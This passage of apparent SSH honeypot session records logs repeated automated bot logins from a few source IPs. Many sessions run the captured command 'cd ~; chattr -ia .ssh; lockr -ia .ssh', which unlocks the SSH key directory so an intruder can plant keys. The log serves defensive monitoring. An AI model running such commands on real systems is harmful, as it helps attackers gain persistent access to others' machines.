  "started_at": "2026-08-27T01:25:43.297679+00:00",
  "ended_at": "2026-08-27T01:25:45.488686+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "66d7fd29-009f-483e-9c71-fd43eb389e87",
  "name": "fierce-glacial-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 33574,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 567,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:23:09.177870+00:00",
  "ended_at": "2026-08-27T01:23:10.500250+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "c42b8575-fc39-4b20-91b6-87312935acb3",
  "name": "ginger-supple-toucan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 54640,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:22:47.880518+00:00",
  "ended_at": "2026-08-27T01:22:49.903226+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "36794fca-0e8b-4b05-b9ca-aabbe596d824",
  "name": "placid-gleaming-goshawk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 33584,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:22:43.768731+00:00",
  "ended_at": "2026-08-27T01:22:44.853123+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bfcb867e-cf3f-4e83-b971-4cb292be2b4a",
  "name": "grassy-snowy-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 36980,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 520,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:19:50.901302+00:00",
  "ended_at": "2026-08-27T01:19:52.508860+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "2349bf23-1229-4bb7-891f-e00c0d75c479",
  "name": "woven-feral-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 36992,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:19:31.045169+00:00",
  "ended_at": "2026-08-27T01:19:32.915949+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8166fe0b-d5a7-4e41-9a1d-75b56a834221",
  "name": "vivid-windswept-kudu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 36990,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:19:28.668164+00:00",
  "ended_at": "2026-08-27T01:19:29.989493+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "baf9edd4-8eab-45b6-99e9-d2bceea49c71",
  "name": "regal-ivory-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 36252,
  "username": "client",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 514,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:17:07.613064+00:00",
  "ended_at": "2026-08-27T01:17:08.769650+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "d04a6b8c-f2bc-47a8-9b20-06f5c1926088",
  "name": "gnarled-dewy-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 52834,
  "username": "client",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:16:46.644630+00:00",
  "ended_at": "2026-08-27T01:16:48.621084+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5d17a6cf-3a5f-4af8-90f2-4381fa87165f",
  "name": "woven-emerald-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 52820,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:16:43.428106+00:00",
  "ended_at": "2026-08-27T01:16:44.692389+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3e870c39-c9a8-4024-99f4-6357f24d91dc",
  "name": "thrifty-solemn-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 53860,
  "username": "edwin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 513,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:14:00.724812+00:00",
  "ended_at": "2026-08-27T01:14:02.097768+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2242
 },
 {
  "id": "36062e27-e4a3-4c33-bc87-566bc1e8c904",
  "name": "stormy-courtly-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 54396,
  "username": "edwin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:13:42.696801+00:00",
  "ended_at": "2026-08-27T01:13:43.434335+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f2128fa0-4e09-4406-8d0a-31ffe69a8c6f",
  "name": "courtly-ashen-gadwall",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 54388,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:13:37.450242+00:00",
  "ended_at": "2026-08-27T01:13:38.665761+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7927f727-777d-425d-a918-c42e95a40e8c",
  "name": "dusty-honest-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 51866,
  "username": "docker",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 526,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:10:45.323484+00:00",
  "ended_at": "2026-08-27T01:10:46.841590+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2246
 },
 {
  "id": "f15d6b87-e607-42db-8100-2207cff5b2fb",
  "name": "lawful-craggy-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 55712,
  "username": "docker",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:10:27.044299+00:00",
  "ended_at": "2026-08-27T01:10:28.357519+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "460c4b6c-1b72-4a1b-aefc-daf547ac843c",
  "name": "polar-nimble-waxwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 51882,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:10:21.742693+00:00",
  "ended_at": "2026-08-27T01:10:23.407564+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "575f8bc6-f8c8-4f63-925f-1e744944f020",
  "name": "slender-dewy-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 33074,
  "username": "ashish",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 550,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:07:49.458024+00:00",
  "ended_at": "2026-08-27T01:07:50.570753+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2237
 },
 {
  "id": "dd4e38c5-7703-4d23-b8bc-b9af9bb33a01",
  "name": "smoky-plush-zebu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 33094,
  "username": "ashish",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:07:29.715384+00:00",
  "ended_at": "2026-08-27T01:07:31.341497+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3019dfd4-5081-44b9-bf53-6e38ab140a00",
  "name": "arctic-fringed-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 33080,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:07:27.689228+00:00",
  "ended_at": "2026-08-27T01:07:28.666377+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "633faf4c-a0a3-4be5-b02f-5141979685ad",
  "name": "dapper-nimble-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 56552,
  "username": "root2",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 547,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:04:49.081590+00:00",
  "ended_at": "2026-08-27T01:04:50.555496+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2270
 },
 {
  "id": "634d7e91-4703-4103-997c-a62388a67bd7",
  "name": "curious-cosmic-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 34292,
  "username": "root2",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:04:28.983368+00:00",
  "ended_at": "2026-08-27T01:04:30.616069+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "55145ca7-0bf5-4eed-983b-469d72b4220e",
  "name": "kindly-thorny-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 34288,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:04:25.152372+00:00",
  "ended_at": "2026-08-27T01:04:26.498607+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "53ff8ccc-cf47-4170-a33c-af3e7ec1aa6f",
  "name": "upland-hushed-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 52344,
  "username": "es",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 515,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:01:44.923784+00:00",
  "ended_at": "2026-08-27T01:01:46.412093+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2205
 },
 {
  "id": "30865403-9f85-43f1-85c3-e91a7b1d4cb1",
  "name": "languid-arctic-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 38198,
  "username": "es",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:01:24.129138+00:00",
  "ended_at": "2026-08-27T01:01:25.330560+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "69167e8e-f238-43de-b008-bbff6950fb50",
  "name": "foggy-umber-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 52360,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:01:20.641544+00:00",
  "ended_at": "2026-08-27T01:01:22.395353+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8bb1840d-1c97-4d2c-b932-11905850fd71",
  "name": "windswept-civil-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 43432,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 555,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:58:29.699246+00:00",
  "ended_at": "2026-08-27T00:58:31.016165+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "029098bd-0b3d-4b1a-82c0-7cc49eadaedd",
  "name": "thrifty-daring-okapi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 43460,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:58:10.574727+00:00",
  "ended_at": "2026-08-27T00:58:12.399043+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0a91f025-0715-42f7-863f-050704a83b64",
  "name": "earnest-smooth-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 43446,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:58:06.185502+00:00",
  "ended_at": "2026-08-27T00:58:08.078874+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9c9204b5-b416-4d6d-b3d1-eccace0e90c5",
  "name": "boreal-serene-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 45992,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 544,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:55:24.223136+00:00",
  "ended_at": "2026-08-27T00:55:25.280584+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2238
 },
 {
  "id": "b378f839-feba-4f89-bf82-2d679558f6a6",
  "name": "mindful-fierce-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 52606,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:55:04.786076+00:00",
  "ended_at": "2026-08-27T00:55:06.183159+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a8069ee5-aae6-434a-aafc-785d25248b8d",
  "name": "freckled-fickle-parakeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 46000,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:54:59.780592+00:00",
  "ended_at": "2026-08-27T00:55:01.833612+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9dc4ef9c-3031-4587-b567-997bc168067c",
  "name": "gleaming-austere-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 42424,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 567,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:52:18.999740+00:00",
  "ended_at": "2026-08-27T00:52:20.000176+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2170
 },
 {
  "id": "ba08fdbc-7517-4a23-a08f-94efa8de1f8c",
  "name": "primal-upland-fossa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 54736,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:51:59.886901+00:00",
  "ended_at": "2026-08-27T00:52:00.669408+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "002bc0cc-83cf-4677-94c6-16569195cebe",
  "name": "tawny-freckled-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 54726,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:51:55.793745+00:00",
  "ended_at": "2026-08-27T00:51:56.954477+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cc4229b0-76f4-4588-b70a-92eee7a51923",
  "name": "sincere-verdant-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 39982,
  "username": "debian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 516,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:49:16.596636+00:00",
  "ended_at": "2026-08-27T00:49:17.603128+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2169
 },
 {
  "id": "51356eec-cdad-413c-a2de-85e49e02044f",
  "name": "lucid-polar-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 35372,
  "username": "debian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:48:58.089382+00:00",
  "ended_at": "2026-08-27T00:48:58.758378+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3452db8a-1de1-4515-9204-c5fe73e060d8",
  "name": "mossy-courtly-oxpecker",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 39984,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:48:53.419323+00:00",
  "ended_at": "2026-08-27T00:48:54.626425+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a2b864d8-6190-407a-b621-bf22434555cd",
  "name": "nameless-seaward-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 57348,
  "username": "gitea",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 508,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:46:10.720378+00:00",
  "ended_at": "2026-08-27T00:46:12.209171+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2163
 },
 {
  "id": "9d15aab0-40f2-4a07-8562-4c2ebbdc078a",
  "name": "cosmic-ginger-tanager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 57372,
  "username": "gitea",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:45:52.112089+00:00",
  "ended_at": "2026-08-27T00:45:53.842993+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4292b02e-62bb-41bf-a37e-7a1d5b418d69",
  "name": "quiet-hardy-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 57362,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:45:46.971067+00:00",
  "ended_at": "2026-08-27T00:45:47.771538+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2ef49375-1827-4419-971a-07984cb2a427",
  "name": "quartz-crimson-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 57234,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 535,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:42:56.877146+00:00",
  "ended_at": "2026-08-27T00:42:57.957604+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2194
 },
 {
  "id": "8aec264d-7bf5-4ea9-8648-091936fcc903",
  "name": "bashful-rambling-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 57252,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:42:38.443481+00:00",
  "ended_at": "2026-08-27T00:42:39.338062+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bb1bc9d8-0158-480b-ad5c-8d23c2862817",
  "name": "zealous-thorny-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 57240,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:42:35.216085+00:00",
  "ended_at": "2026-08-27T00:42:36.187753+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1f78f223-366e-4f69-9e15-b5e4f42eaef1",
  "name": "cobalt-hazy-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 44492,
  "username": "sora",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 556,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:39:54.403067+00:00",
  "ended_at": "2026-08-27T00:39:55.526725+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2126
 },
 {
  "id": "b86f9197-ab88-4c5b-9a80-32dee45d74c0",
  "name": "lunar-placid-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 39414,
  "username": "sora",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:39:33.762412+00:00",
  "ended_at": "2026-08-27T00:39:34.820212+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3d21b8b5-e977-40d2-a359-f6aa40d2e0fa",
  "name": "wooded-grassy-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 44502,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:39:29.686547+00:00",
  "ended_at": "2026-08-27T00:39:31.144482+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c9ef5156-8586-4eae-9c3d-5a91117b00e8",
  "name": "forlorn-quiet-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "97.74.87.152",
  "src_port": 33282,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 742,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:38:36.484406+00:00",
  "ended_at": "2026-08-27T00:38:37.325893+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "d0ab1882-ab8c-4289-bd31-fd34077b708a",
  "name": "merry-canny-gharial",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "97.74.87.152",
  "src_port": 33302,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:38:21.568023+00:00",
  "ended_at": "2026-08-27T00:38:23.377240+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eeaebeac-1c25-4014-86bb-c4ebb4c2d8f6",
  "name": "murky-fierce-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "97.74.87.152",
  "src_port": 33292,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:38:18.492063+00:00",
  "ended_at": "2026-08-27T00:38:20.069691+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "96e7c7e4-2a04-4fbf-a76e-0be66d30de68",
  "name": "restless-tidal-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 60220,
  "username": "michal",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 540,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:36:44.572496+00:00",
